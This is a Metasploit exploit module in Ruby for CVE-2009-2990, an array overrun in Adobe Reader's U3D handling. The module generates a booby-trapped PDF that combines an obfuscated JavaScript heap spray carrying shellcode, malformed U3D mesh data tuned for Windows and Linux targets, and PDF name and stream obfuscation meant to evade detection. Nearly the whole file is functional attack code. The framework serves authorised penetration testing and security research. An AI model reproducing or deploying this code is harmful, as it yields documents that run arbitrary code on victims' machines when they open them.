Path: blob/master/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',17'Description' => %q{18This module exploits an array overflow in Adobe Reader and Adobe Acrobat.19Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a20specially crafted pdf that a contains malformed U3D data, an attacker may21be able to execute arbitrary code.22},23'License' => MSF_LICENSE,24'Author' => [25'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',26'jduck'27],28'References' => [29[ 'CVE', '2009-2990' ],30[ 'OSVDB', '58920' ],31[ 'BID', '36665' ],32[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41'DisableNops' => true42},43'Platform' => %w{win linux},44'Targets' => [45# test results (on Windows XP SP3)46# reader 7.0.5 - untested47# reader 7.0.8 - untested48# reader 7.0.9 - untested49# reader 7.1.0 - untested50# reader 7.1.1 - untested51# reader 8.0.0 - untested52# reader 8.1.2 - works53# reader 8.1.3 - works54# reader 8.1.4 - untested55# reader 8.1.5 - untested56# reader 8.1.6 - untested57# reader 9.0.0 - untested58# reader 9.1.0 - works59[60'Adobe Reader Windows Universal (JS Heap Spray)',61{62'Index' => 0x01d10000,63'Platform' => 'win',64'Arch' => ARCH_X86,65'escA' => 0x0f0f0f0f,66'escB' => 0x16161616,67'escC' => 0x1c1c1c1c68}69],7071# untested72[73'Adobe Reader Linux Universal (JS Heap Spray)',74{75'Index' => 0xfffffe3c,76'Platform' => 'linux',77'Arch' => ARCH_X86,78'escA' => 0x75797959,79'escB' => 0xa2a2a2a2,80'escC' => 0x9c9c9c9c81}82]83],84'DisclosureDate' => '2009-10-13',85'DefaultTarget' => 0,86'Notes' => {87'Reliability' => UNKNOWN_RELIABILITY,88'Stability' => UNKNOWN_STABILITY,89'SideEffects' => UNKNOWN_SIDE_EFFECTS90}91)92)9394register_options(95[96OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),97]98)99end100101def exploit102# Encode the shellcode.103shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))104105# Make some nops106nops = Rex::Text.to_unescape(make_nops(4))107108# prepare the pointers!109ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))110ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))111ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))112113script = <<~EOF114var nopz = unescape("#{nops}");115function mkSlice(stringy,size,rest){116while (stringy.length <= size/2)117stringy += stringy;118stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);119return stringy;120};121122function spray(escA,escB,escC,escShellcode){123var loop1;124var pointersA = unescape(escA);125var pointersB = unescape(escB);126var pointersC = unescape(escC);127var shellcode = unescape(escShellcode);128129pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);130pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);131pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);132nop_slide = mkSlice(nopz,0x100000, shellcode.length);133var xarr = new Array();134for (loop1 = 0; loop1 < 400; loop1++) {135if(loop1<100)136xarr[loop1] = pointersA_slide+pointersA;137else if(loop1<200)138xarr[loop1] = pointersB_slide+pointersB;139else if(loop1<300)140xarr[loop1] = pointersC_slide+pointersC;141else142xarr[loop1] = nop_slide+shellcode;143}144return xarr;145};146var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");147this.pageNum = 1;148EOF149150# Obfuscate it up a bit151script = obfuscate_js(script,152'Symbols' => {153'Variables' => %W{pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz},154'Methods' => %W{mkSlice spray}155}).to_s156157# create the u3d stuff158u3d = make_u3d_stream(target['Index'], "E" * 11)159160# Create the pdf161pdf = make_pdf(script, u3d)162163print_status("Creating '#{datastore['FILENAME']}' file...")164165file_create(pdf)166end167168def obfuscate_js(javascript, opts)169js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)170js.obfuscate171return js172end173174def random_non_ascii_string(count)175result = ""176count.times do177result << (rand(128) + 128).chr178end179result180end181182def io_def(id)183"%d 0 obj\n" % id184end185186def io_ref(id)187"%d 0 R" % id188end189190# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/191def n_obfu(str)192result = ""193str.scan(/./u) do |c|194if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'195result << "#%x" % c.unpack("C*")[0]196else197result << c198end199end200result201end202203def ascii_hex_whitespace_encode(str)204result = ""205whitespace = ""206str.each_byte do |b|207result << whitespace << "%02x" % b208whitespace = " " * (rand(3) + 1)209end210result << ">"211end212213def u3d_pad(str, char = "\x00")214ret = ""215if (str.length % 4) > 0216ret << char * (4 - (str.length % 4))217end218return ret219end220221def make_u3d_stream(index, meshname)222# build the U3D header (length will be patched in later)223hdr_data = [1, 0].pack('n*') # version info224hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')225hdr = "U3D\x00"226hdr << [hdr_data.length, 0].pack('VV')227hdr << hdr_data228229# mesh declaration230decl_data = [meshname.length].pack('v')231decl_data << meshname232decl_data << [0].pack('V') # chain idx233# max mesh desc234decl_data << [0].pack('V') # mesh attrs235decl_data << [0xc322].pack('V') # face count236decl_data << [0x6226].pack('V') # position count237decl_data << [0x24966].pack('V') # normal count238decl_data << [0].pack('V') # diffuse color count239decl_data << [0].pack('V') # specular color count240decl_data << [0].pack('V') # texture coord count241decl_data << [1].pack('V') # shading count242# shading desc243decl_data << [0].pack('V') # shading attr244decl_data << [1].pack('V') # texture layer count245decl_data << [0].pack('V') # texture coord dimensions246decl_data << [0].pack('V') # original shading id247# minimum resolution248decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)249# quality factors250decl_data << [0x12c].pack('V') # position quality factor251decl_data << [0x12c].pack('V') # normal quality factor252decl_data << [0x12c].pack('V') # texture coord quality factor253# inverse quantiziation254decl_data << [0x3f0b1e6c].pack('V') # position inverse quant255decl_data << [0x3b6f05a6].pack('V') # normal inverse quant256decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant257decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant258decl_data << [0x3c2df54a].pack('V') # specular color inverse quant259# resource params260decl_data << [0x3f666666].pack('V') # normal crease param261decl_data << [0x3f000000].pack('V') # normal update param262decl_data << [0x3f7c28f6].pack('V') # normal tolerance param263# skeleton description264decl_data << [0].pack('V') # bone count265# padding266mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')267mesh_decl << decl_data268mesh_decl << u3d_pad(decl_data)269270# build the modifier chain271chain_data = [meshname.length].pack('v')272chain_data << meshname273chain_data << [1].pack('V') # type (model resource)274chain_data << [0].pack('V') # attributes (no bounding info)275chain_data << u3d_pad(chain_data)276chain_data << [1].pack('V') # number of modifiers277chain_data << mesh_decl278modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')279modifier_chain << chain_data280281# mesh continuation282cont_data = [meshname.length].pack('v')283cont_data << meshname284cont_data << [0].pack('V') # chain idx285cont_data << [0].pack('V') # start resolution286cont_data << [0x1000].pack('V') # end resolution287# 4096 continuation blocks288cont_data << [index].pack('V') # split position index289cont_data << [0].pack('v') # new diffuse color count290cont_data << [0].pack('v') # new specular color count291cont_data << [0].pack('v') # new text coord count292cont_data << [0].pack('V') # new face count293# unknown data294cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"295cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"296cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"297cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"298cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"299cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"300cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"301cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"302cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"303cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"304cont_data << "\xe9\x10\x9d\x6b\x06\x00"305cont_data << "\x50" # pad306mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')307mesh_cont << cont_data308# mesh_cont << u3d_pad(cont_data)309mesh_cont << "\xa2\x00" # manual padding310311data = hdr312data << modifier_chain313data << mesh_cont314315# patch the length316data[24, 4] = [0x2b680].pack('V') # hardcode the data length317318if index == 0x01d10000319# laziest hack ever! Another index must be found for using the following320# stream in windows.. and a lot of tests shoul be done.321return data322end323324# linux version325# build the U3D header (length will be patched in later)326hdr_data = [1, 0].pack('n*') # version info327hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')328meta_str1 = "alalala0"329meta_str2 = "\xa8" * 1024330hdr_meta = [1].pack('V')331hdr_meta << [meta_str1.length].pack('v')332hdr_meta << meta_str1333hdr_meta << [1].pack('V')334hdr_meta << [meta_str2.length].pack('V')335hdr_meta << meta_str2336hdr = "U3D\x00"337hdr << [hdr_data.length, hdr_meta.length].pack('VV')338hdr << hdr_data339hdr << hdr_meta340hdr << u3d_pad(hdr_meta)341342# mesh declaration343decl_data = [meshname.length].pack('v')344decl_data << meshname345decl_data << [0].pack('V') # chain idx346# max mesh desc347decl_data << [0].pack('V') # mesh attrs348decl_data << [0xc322].pack('V') # face count349decl_data << [0x6626].pack('V') # position count350decl_data << [4].pack('V') # normal count351decl_data << [0].pack('V') # diffuse color count352decl_data << [0].pack('V') # specular color count353decl_data << [0].pack('V') # texture coord count354decl_data << [1].pack('V') # shading count355# shading desc356decl_data << [0].pack('V') # shading attr357decl_data << [0].pack('V') # texture layer count358decl_data << [0].pack('V') # original shading id359# no texture coord dimensions360decl_data << [0x64].pack('V') # minimum resolution361decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)362# quality factors363decl_data << [0x12c].pack('V') # position quality factor364decl_data << [0x12c].pack('V') # normal quality factor365decl_data << [0x12c].pack('V') # texture coord quality factor366# inverse quantiziation367decl_data << [0].pack('V') # position inverse quant368decl_data << [0].pack('V') # normal inverse quant369decl_data << [0].pack('V') # texture coord inverse quant370decl_data << [0].pack('V') # diffuse color inverse quant371decl_data << [0].pack('V') # specular color inverse quant372# resource params373decl_data << [0].pack('V') # normal crease param374decl_data << [0].pack('V') # normal update param375decl_data << [0].pack('V') # normal tolerance param376# skeleton description377decl_data << [0].pack('V') # bone count378# padding379mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')380mesh_decl << decl_data381mesh_decl << u3d_pad(decl_data)382383# build the modifier chain384chain_data = [meshname.length].pack('v')385chain_data << meshname386chain_data << [1].pack('V') # type (model resource)387chain_data << [0].pack('V') # attributes (no bounding info)388chain_data << u3d_pad(chain_data)389chain_data << [1].pack('V') # number of modifiers390chain_data << mesh_decl391modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')392modifier_chain << chain_data393394# mesh continuation395cont_data = [meshname.length].pack('v')396cont_data << meshname397cont_data << [0].pack('V') # chain idx398cont_data << [0].pack('V') # start resolution399cont_data << [0x100].pack('V') # end resolution400# 256 continuation blocks401cont_data << [index].pack('V') # split position index402# unknown data403cont_data << [1].pack('V') * 10404cont_data << "Feli" * 20405mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')406mesh_cont << cont_data407mesh_cont << u3d_pad(cont_data)408409data = hdr410data << modifier_chain411data << mesh_cont412413# patch the length414data[24, 4] = [0x174].pack('V') # hardcode the data length415return data416end417418def make_pdf(js, u3d_stream)419xref = []420eol = "\x0a"421obj_end = "" << eol << "endobj" << eol422423# the header424pdf = "%PDF-1.7" << eol425426# filename/comment427pdf << "%" << random_non_ascii_string(4) << eol428429# js stream430xref << pdf.length431compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))432pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol433pdf << "stream" << eol434pdf << compressed << eol435pdf << "endstream" << eol436pdf << obj_end437438# catalog439xref << pdf.length440pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)441pdf << n_obfu("/Pages ") << io_ref(5)442pdf << n_obfu("/OpenAction ") << io_ref(8)443pdf << n_obfu(">>")444pdf << obj_end445446# outline447xref << pdf.length448pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")449pdf << obj_end450451# kids452xref << pdf.length453pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")454pdf << io_ref(9) << " " # empty page455pdf << io_ref(10) # u3d page456pdf << n_obfu("]>>")457pdf << obj_end458459# u3d stream460xref << pdf.length461pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol462pdf << "stream" << eol463pdf << u3d_stream << eol464pdf << "endstream"465pdf << obj_end466467# u3d annotation object468xref << pdf.length469pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")470pdf << "/3D/3DA <</A/PO/DIS/I>>"471pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")472pdf << obj_end473474# js dict475xref << pdf.length476pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end477478# page 0 (empty)479xref << pdf.length480pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")481pdf << n_obfu(" >>")482pdf << obj_end483484# page 1 (u3d)485xref << pdf.length486pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")487pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")488pdf << n_obfu(">>")489pdf << obj_end490491# xrefs492xrefPosition = pdf.length493pdf << "xref" << eol494pdf << "0 %d" % (xref.length + 1) << eol495pdf << "0000000000 65535 f" << eol496xref.each do |index|497pdf << "%010d 00000 n" % index << eol498end499500# trailer501pdf << "trailer" << eol502pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol503pdf << "startxref" << eol504pdf << xrefPosition.to_s() << eol505pdf << "%%EOF" << eol506end507end508509510